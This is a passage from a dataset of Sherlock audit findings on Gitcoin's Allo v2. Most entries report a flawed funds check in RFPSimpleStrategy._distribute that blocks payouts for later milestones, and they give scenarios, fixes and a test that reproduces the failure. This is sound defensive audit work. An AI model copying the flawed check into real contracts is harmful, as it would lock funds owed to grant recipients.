NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n```\n\nTo this:\n\n```solidity\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // make sure has enough funds to distribute based on the proposal bid\n if (amount > poolAmount) revert NOT_ENOUGH_FUNDS();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/535.md"}} +{"title":"Invalid poolAmount check will result in a failed distribution","severity":"medium","body":"Young Tiger Snake\n\nmedium\n\n# Invalid poolAmount check will result in a failed distribution\nRFPSimpleStrategy fund distribution fails when `proposalBid` is higher than `poolAmount` allocated for remaining milestones.\n \n## Vulnerability Detail\n`_distribute` in `RFPSimpleStrategy.sol` has an incorrect check for `poolAmount` \n```solidity\nif (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n// Calculate the amount to be distributed for the milestone\nuint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432\n\n`proposalBid` is the total amount the agent gets for all milestones whereas `poolAmount` is remaining funds in the pool. It decreases with every completed milestone and should be compared with `amount` instead.\n \n## Impact\nThe agent will not be able to receive funds and complete a milestone\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nChange to\n```diff\n- if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n- // Calculate the amount to be distributed for the milestone\n- uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n+ // Calculate the amount to be distributed for the milestone\n+ uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n+ if (amount > poolAmount) revert NOT_ENOUGH_FUNDS();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/531.md"}} +{"title":"`_distribute()` function in RFPSimpleStrategy contract has wrong requirement causing DOS","severity":"medium","body":"Immense Teal Penguin\n\nmedium\n\n# `_distribute()` function in RFPSimpleStrategy contract has wrong requirement causing DOS\n`_distribute()` function in RFPSimpleStrategy contract has wrong requirement causing DOS\n## Vulnerability Detail\nThe function `_distribute()`:\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n ...\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n poolAmount -= amount;//<@@ NOTICE the poolAmount get decrease over time\n\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n ...\n }\n```\n\nLet's suppose this scenario:\n - Pool manager funding the contract with 100 token, making `poolAmount` variable equal to 100\n - Pool manager set 5 equal milestones with 20% each\n - Selected recipient's proposal bid is 100, making `recipients[acceptedRecipientId].proposalBid` variable equal to 100\n - After milestone 1 done, pool manager pays recipient using `distribute()`. Value of variables after: `poolAmount = 80 ,recipients[acceptedRecipientId].proposalBid = 100`\n - After milestone 2 done, pool manager will get DOS trying to pay recipient using `distribute()` because of this line:\n ```solidity\nif (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n```\n## Impact\nThis behaviour will cause DOS when distributing the 2nd milestone or higher\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417C1-L450C6\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\n- if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n+ if ((recipient.proposalBid * milestone.amountPercentage) / 1e18 > poolAmount) revert NOT_ENOUGH_FUNDS();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/492-best.md"}} +{"title":"RFPSimpleStrategy._distribute will revert in most cases","severity":"medium","body":"Furry Cider Panda\n\nmedium\n\n# RFPSimpleStrategy._distribute will revert in most cases\n\nA recipient will specify a proposalBid when registering, which indicates all the funds required. If a recipient is selected as `acceptedRecipientId` by the pool manager, the pool manager will set milestones for it. Funds will be distributed every time acceptedRecipient reaches a milestone (the amount is a percentage of all funds).\n\nRFPSimpleStrategy._distribute has an internal check to make sure it has enough funds to distribute funds for the current milestone. This check is fine for the first milestone, but subsequent milestones will revert due to `NOT_ENOUGH_FUNDS`.\n\n## Vulnerability Detail\n\n```solidity\nFile: contracts\\strategies\\rfp-simple\\RFPSimpleStrategy.sol\n417: function _distribute(address[] memory, bytes memory, address _sender)\n......\n428: Milestone storage milestone = milestones[upcomingMilestone];\n429: Recipient memory recipient = _recipients[acceptedRecipientId];\n430: \n431: // make sure has enough funds to distribute based on the proposal bid\n432:-> if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n433: \n434: // Calculate the amount to be distributed for the milestone\n435:-> uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n436: \n437: // Get the pool, subtract the amount and transfer to the recipient\n438:-> poolAmount -= amount;\n439: _transferAmount(pool.token, recipient.recipientAddress, amount);\n......\n445: upcomingMilestone++;\n......\n450: }\n```\n\nAfter `_distribute` is called, `poolAmount` will be subtracted by `amount` required for this milestone. And `recipient.proposalBid` represents all the funds required by the project, which is the sum of all milestones. Then, when _distribute is called for the second time, `recipient.proposalBid` must be greater than `poolAmount`, which will cause L432 revert.\n\nConsider the following scenario:\n\nFor simplicity, assume there are 2 milestones, the first milestone has a percentage of 30%, and the second milestone has a percentage of 70%. recipient.proposalBid = poolAmount = 100 ether.\n\n1. When the first milestone is completed, the pool manager calls `distribute` to distribute funds to the recipient. The values of each variable in the process are as follows:\n \n ```status\n L432, recipient.proposalBid = poolAmount = 100, so if condition is not met.\n L435, amount = 100 * 30% = 30\n L438, poolAmount = 100 - 30 = 70\n ```\n \n2. When the second milestone is completed, the pool manager calls `distribute` to distribute funds to the recipient. This time tx will revert at L432.\n \n ```status\n L432, recipient.proposalBid = 100, poolAmount = 70, so if condition is met. tx will revert.\n ```\n \n\nTherefore, funds required by subsequent milestones cannot be distributed to recipients via `distrbute`.\n\n## Impact\n\nIf `acceptedRecipientId` has multiple milestones, the pool manager can successfully distribute funds to recipient for the first milestone. Due to this problem, the pool manager cannot distribute funds for subsequent milestones and will revert. This breaks core function of protocol.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432-L438\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```fix\nFile: contracts\\strategies\\rfp-simple\\RFPSimpleStrategy.sol\n417: function _distribute(address[] memory, bytes memory, address _sender)\n......\n428: Milestone storage milestone = milestones[upcomingMilestone];\n429: Recipient memory recipient = _recipients[acceptedRecipientId];\n430: \n + // Calculate the amount to be distributed for the milestone\n + uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18; \n431: // make sure has enough funds to distribute based on the proposal bid\n432:- if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n432:+ if (amount > poolAmount) revert NOT_ENOUGH_FUNDS();\n433: \n434:- // Calculate the amount to be distributed for the milestone\n435:- uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n436: \n437: // Get the pool, subtract the amount and transfer to the recipient\n438: poolAmount -= amount;\n439: _transferAmount(pool.token, recipient.recipientAddress, amount);\n......\n450: }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/475.md"}} +{"title":"Potential occurance of a DOS condition inside the `RFPSimpleStrategy._distribute()` function","severity":"medium","body":"Future Sangria Giraffe\n\nmedium\n\n# Potential occurance of a DOS condition inside the `RFPSimpleStrategy._distribute()` function\n\nThere are issues with the distribution mechanism inside `RFPSimpleStrategy`, which may eventually result in the check for enough funds to always revert.\n\n## Vulnerability Detail\n\nInside `RFPSimpleStrategy._distribute()` a revert is triggered (line 432 RFPSimpleStrategy.sol) if `recipient.proposalBid > poolAmount`.\n\nThe issue is that `poolAmount` is decreased by the transferred `amount` each time `RFPSimpleStrategy._distribute()` is called (line 438 RFPSimpleStrategy.sol). But `recipient.proposalBid` is never being decreased. So eventually `recipient.proposalBid` may be bigger than `poolAmount` when distributing the next milestones, and then when `RFPSimpleStrategy._distribute()` gets called there will be a DOS condition, since line 432 in RFPSimpleStrategy.sol always reverts.\n\nAlso the comparison on line 432 in RFPSimpleStrategy.sol was meant to make sure that there are enough funds to distribute (see comment line 431 RFPSimpleStrategy.sol). Since the `amount` distributed is the `amount` calculated on line 435 in RFPSimpleStrategy.sol, what was probably intended was to compare the `amount` with the `poolAmount` and revert if the `amount` exceeds the `poolAmount` in order to make sure that there are enough funds available.\n\n## Impact\n\nDue to this issue, a potential DOS condition may occur eventually inside `RFPSimpleStrategy._distribute()` (line 432 RFPSimpleStrategy.sol) when the attempt is made to distribute funds via `Allo.distribute()` which subsequently calls `BaseStrategy.distribute()` (line 384 Allo.sol) and `RFPSimpleStrategy._distribute()` (line 200 BaseStrategy.sol). The DOS condition may very likely occur when subsequent milestones are distributed.\n\nFurthermore, this issue is a significant flaw in the RFPSimpleStrategy.sol since the distribution mechanism may be frequently broken due to the described DOS condition above, which happens each time the `poolAmount` is smaller than the value of `recipient.proposalBid`.\n\nCurrently the only way how this DOS condition could be mitigated would be to add more funds to the pool in order to increase the `poolAmount`. Or the pool manager could withdraw the funds via `RFPSimpleStrategy.withdraw()` and then send the withdrawn funds to the recipient, which the pool manager would have to do per milestone though to replicate the original distribution mechanism and which would also mean that the pool manager would have to manually calculate the funds per milestone that they have to distribute to the recipient. It's therefore obvious that these two potential mitigations for this issue are very undesirable and bad.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L383-L385\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L194-L202\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider replacing the existing check for enough funds on line 432 inside RFPSimpleStrategy.sol with a check that reverts if the `amount` that should be distributed isn't covered by the pool funds:\n\n```solidity\n// RFPSimpleStrategy._distribute()\n435 uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n436 if (amount > poolAmount) revert NOT_ENOUGH_FUNDS();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/460.md"}} +{"title":"Excessive milestone distribution fails due to insufficient pool funds","severity":"medium","body":"Ambitious Brick Ladybug\n\nhigh\n\n# Excessive milestone distribution fails due to insufficient pool funds\nThe `_distribute` method in RFPSimpleStrategy contract is responsible for distributing funds based on milestones for a given proposal. An issue arises when the pool amount decreases due to a previous distribution but the subsequent milestone distribution attempts to validate based on the original proposal bid. This causes the distribution to revert even when it should be valid based on the milestone percentage.\n\n## Vulnerability Detail\nThe `_distribute` function checks whether the `recipient.proposalBid` is greater than the poolAmount and if so, it reverts. While this might appear logic, it does not take into consideration the fact that `poolAmount` decreases after each distribution and each distribution use some predefined percentage amount of funds.\n\n```solidity\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n```\n\nLet's assume the following scenario:\n1. An accepted `proposalBid` is set at 1000, and the `poolAmount` is also 1000.\n2. The project has 2 milestones, each of which distributes 50% of the proposal bid.\n3. During the first distribution, 50% of the proposal bid, which is 500, is distributed. This leaves the `poolAmount` at 500.\n4. For the second milestone distribution, the check will compare the `proposalBid` (which remains at 1000) against the `poolAmount` (which is now 500). As 1000 is greater than 500, the check will fail, causing a revert.\n\nThis is incorrect, as there are still funds in the pool to cover the remaining 50% of the proposal bid, but the check is improperly based on the full bid amount instead of the remaining distribution amount.\n\n## Impact\nLegitimate milestone distributions will fail if the pool amount is less than the original proposal bid, even if there are enough funds to cover the distribution. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227-L247\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n## Tool used\n\nManual Review\n\n## Recommendation\nInstead of checking the entire `proposalBid` against the `poolAmount` for each distribution, only compare the required distribution amount for the current milestone against the current `poolAmount`.\n```solidity\nuint256 amountToDistribute = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\nif (amountToDistribute > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/430.md"}} +{"title":"Check in `_distribute()` might revert even tho there is enough funds to pay","severity":"medium","body":"Recumbent Citron Mustang\n\nmedium\n\n# Check in `_distribute()` might revert even tho there is enough funds to pay\n\nIn the function [`_distribute()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432) there is a wrong check that requires the whole `proposalBid` to be higher than `poolAmount` while it should apply the milestone percentage first otherwise if we already paid some milestone the `poolAmount` might be smaller and thus revert even tho we had enough to pay the milestone.\n\n## Vulnerability Detail\n\nIn the function [`_distribute()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432) of the RFPSimpleStrategy there is a check to make sure the `poolAmount` is enough to pay the milestone by checking it against `proposalBid`.\n\nBut the variable `proposalBid` represents the whole payout for the RFP that is then divided in multiple milestones.\n\nWhen distributing we distribute for a given milestone that is a percentage of the `proposalBid` with the total of all milestones being 100%. This means that we should be applying the milestone percentage to the `proposalBid` before checking it against the `poolAmount`. Otherwise if we already distributed some milestone we might revert as the `poolAmount` could be smaller than `proposalBid` even tho we have enough funds to pay.\n\n## Impact\n\nMedium. To call `distribute()` the `poolAmount` will have to always be higher than `proposalBid` requiring the pool manager to leave more funds than needed on the strategy.\n\n## Code Snippet\n\n[Error snippet.](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432)\n\n```solidity\nif (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n```\n\nPoc that can be copy pasted in RFPSimpleStrategy.t.sol.\n\n```solidity\nfunction test_distribute_revert_poolAmount() public {\n //this will set 2 milestone: 70% for the first one and 30% for the second one\n //proposal bid is 1e18\n address recipientId = __register_setMilestones_allocate_submitUpcomingMilestone();\n\n //fund the pool\n uint amount = 1e18 + 1e17; //add 1e17 to pay the percentage fee and have a little more\n vm.deal(pool_admin(), amount);\n vm.prank(pool_admin());\n allo().fundPool{value: amount}(poolId, amount);\n\n //first distribute work as expected\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n\n //submit second milestone\n vm.prank(recipient());\n strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: \"metadata\"}));\n\n //second distribute doesn't work even tho we have 30% of 1e18 available\n assertLt(1e18 * 3e17 / 1e18, address(strategy).balance);\n vm.prank(address(allo()));\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n strategy.distribute(new address[](0), \"\", pool_admin());\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nApply the `milestone.amountPercentage` to the `proposalBid` like done to calculate `amount` before checking it against `poolAmount`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/402.md"}} +{"title":"Milestone distribution likely gets DoS'd in RFPSimpleStrategy","severity":"medium","body":"Sneaky Amethyst Robin\n\nhigh\n\n# Milestone distribution likely gets DoS'd in RFPSimpleStrategy\n\nLogic used to validate remaining funds being sufficient to cover distribution is incorrectly implemented, resulting in the likely inability to distribute funds.\n\n## Vulnerability Detail\n\nMilestones can only be set once in the life of the contract and must add up to a total amountPercentage of 1e18 (100%). The same recipient proposalBid applies to multiple milestones, splitting the payout amount between them according to their amount percentages. When distributing, the recipient receives a percentage of the proposalBid after validating that the proposalBid is <= poolAmount. In future milestones though, the poolAmount will be lower while the proposalBid will remain the same, causing `_distribute` to revert if the **total** `proposalBid` exceeds the **remaining** `poolAmount`.\n\n## Impact\n\n`_distribute` will likely revert for later milestones.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432\n```solidity\n// @audit reverts if total proposalBid is > remaining poolAmount\nif (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n// Calculate the amount to be distributed for the milestone\nuint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n// Get the pool, subtract the amount and transfer to the recipient\npoolAmount -= amount;\n_transferAmount(pool.token, recipient.recipientAddress, amount);\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInstead of reverting if `recipient.proposalBid > poolAmount`, we should only revert if `amount > poolAmount`, e.g.:\n\n```solidity\n// Calculate the amount to be distributed for the milestone\nuint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n// Only revert if amount to distribute exceeds poolAmount\nif (amount > poolAmount) revert NOT_ENOUGH_FUNDS();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/247.md"}} +{"title":"Incorrect check in RFPSimpleStrategy#_distribute lead to function unintended fail in some case","severity":"medium","body":"Quiet Seaweed Beaver\n\nmedium\n\n# Incorrect check in RFPSimpleStrategy#_distribute lead to function unintended fail in some case\nDue to incorrect checking condition at RFPSimpleStrategy#_distribute, function can be unintended fail in some case\n\n## Vulnerability Detail\nIn RFPSimpleStrategy#_distribute, there is a check to make sure pool has enough funds to transfer:\n\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\nBut in fact, the actual amount to transfer is smaller than `recipient.proposalBid`:\n\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\nThe actual `amount` that will be used to transfer can be smaller than `recipient.proposalBid` when `milestone.amountPercentage` is smaller than 1e18 (which is 100%). Which lead to function can be unintended fail when `amount` < `poolAmount` < `(recipient.proposalBid`\n\n## Impact\nFunction can be failed in some cases\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432-#L439\n\n## Tool used\nManual Review\n\n## Recommendation\nReplace checking condition to:\n\n - if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n + if (((recipient.proposalBid * milestone.amountPercentage) / 1e18) > poolAmount) revert NOT_ENOUGH_FUNDS();","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/209.md"}} +{"title":"The `distribute` function in `RFPSimpleStrategy` cannot be executed multiple times.","severity":"medium","body":"Fancy Khaki Perch\n\nhigh\n\n# The `distribute` function in `RFPSimpleStrategy` cannot be executed multiple times.\nThe `distribute` function in `RFPSimpleStrategy` cannot be executed multiple times so the milestones cannot be fully executed.\n## Vulnerability Detail\n\nIn `RFPSimpleStrategy._distribute`, the `poolAmount` decreases with each execution and the expected asset transfer amount is `(recipient.proposalBid * milestone.amountPercentage) / 1e18`, but it consistently requires that `recipient.proposalBid <= poolAmount`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L431-L439\n```solidity\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n```\n\nAssuming there is a proposal with a bid of 10 ETH, and it has two milestones, each with a `milestone.amountPercentage` of 50%, and the current `poolAmount` is also exactly 10 ETH. \n\nAfter the first execution, the `poolAmount` becomes 10 * (1 - 50%) = 5, which is still sufficient to satisfy the next milestone. However, the requirement `recipient.proposalBid <= poolAmount` prevents the second `distribute` from being executed.\n## Impact\nThe `distribute` function in `RFPSimpleStrategy` cannot be executed multiple times so the milestones cannot be fully executed.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L431-L439\n## Tool used\n\nManual Review\n\n## Recommendation\nCompare the value of `poolAmount` with `(recipient.proposalBid * milestone.amountPercentage) / 1e18`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/177.md"}} +{"title":"`RFPSimpleStrategy._distribute` may fail due to wrong check of enough funds","severity":"medium","body":"Clever Metal Giraffe\n\nhigh\n\n# `RFPSimpleStrategy._distribute` may fail due to wrong check of enough funds\n\nWhen the accepted recipient submits a milestone, the pool manager calls `distribute` to distribute funds to the accepted recipient. `RFPSimpleStrategy._distribute` tries to ensure that the pool has enough funds to distribute based on the proposal bid. But it uses a wrong check. `RFPSimpleStrategy._distribute` may revert when the pool has enough funds.\n\n## Vulnerability Detail\n\n`RFPSimpleStrategy._distribute` checks whether `recipient.proposalBid > poolAmount` to ensure that the pool has enough funds, then the distributed funds are subtracted from `poolAmount`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n ā€¦\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n ā€¦\n }\n```\n\n`milestone.amountPercentage` is set in `RFPSimpleStrategy.setMilestones`. All milestone amount percentage totals to 1e18\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227\n```solidity\n function setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n\n uint256 totalAmountPercentage;\n\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n\n // Check if the all milestone amount percentage totals to 1e18(100%)\n if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE();\n\n emit MilestonesSet();\n }\n```\n\nSuppose that `poolAmount` is 10000 and `recipient.proposalBid` is 8000. And there are two milestones. Their percentages are both 5e17(50%).\n* When the recipient calls `submitUpcomingMilestone` for the first time, and the pool manager calls `distribute`.\n```solidity\n// recipient.proposalBid > poolAmount is false. The check is passed.\namount = (recipient.proposalBid * milestone.amountPercentage) / 1e18 = 8000 * 5e17 / 1e18 = 4000\npoolAmount -= amount; // poolAmount = 10000 - 4000 = 6000\n```\n* Afterwards, the recipient calls `submitUpcomingMilestone` again. The pool manager calls `distribute` as usual.\n```solidity\nrecipient.proposalBid > poolAmount is true, revert NOT_ENOUGH_FUNDS() // 8000 > 4000\n```\n\nWe can find out that the pool has enough funds(which is 4000). But `RFPSimpleStrategy._distribute` reverts.\n\n\n## Impact\n\n`RFPSimpleStrategy._distribute` may revert when the pool has enough funds.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`RFPSimpleStrategy._distribute` should check `(recipient.proposalBid * milestone.amountPercentage) / 1e18` instead of `recipient.proposalBid`\n```diff\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n ā€¦\n\n- // make sure has enough funds to distribute based on the proposal bid\n- if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n+ // make sure has enough funds to distribute based on the proposal bid\n+ if (amount > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n ā€¦\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/161.md"}} +{"title":"In RFPSimpleStrategy, if pool is not overfunded, payouts past the first will not work","severity":"medium","body":"Merry Punch Caterpillar\n\nmedium\n\n# In RFPSimpleStrategy, if pool is not overfunded, payouts past the first will not work\n\nRFPSimpleStrategy._distribute reverts if the *total* bid is greater than the *current* amount in the pool. This means it will revert after partial payouts for intermediate milestones.\n\n## Vulnerability Detail\n\n1. Alice creates a pool using the RFPSimpleStrategy, with two milestone for 50% each\n2. Bob submits a winning bid for 10K USDC. \n3. Alice accepts Bob's bid and funds the pool to 10K USDC. At this point, recipients.proposalBid is 10000e18, and poolAmount is also 10000e18.\n4. Bob completes the first milestone and Alice calls _distribute. Bob gets paid 5K USDC. At this point, recipients.proposalBid is 10000e18, and poolAmount is 5000e18.\n5. Bob completes the first milestone and Alice calls _distribute. However, the following check fails:\n\n```solidity\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432C7-L432C7\n\n6. As a result, Bob cannot get paid for the second milestone. Alice's choices are to overfund the pool for an additional 5K USDC (15k total), or to drain the pool and distribute the funds manually (defeating the point of using the pool in the first place). In either case, Alice permanently loses the fees charged by the protocol. This could also happen if there were 5 milestones of 20% each. Then this problem would occur on every single milestone unless the pool was 80% overfunded.\n\n## Impact\n\nRFPSimpleStrategy pools with multiple milestones do not work.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432C7-L432C7\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nOnly compare the amount actually to be paid to poolAmount.\n\nOR\n\nDo not decrement the pool amount.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/129.md"}} +{"title":"The distribute function in RFPSimpleStrategy.sol might fail due to lacking funds even when there are enough funds","severity":"medium","body":"Dapper Lead 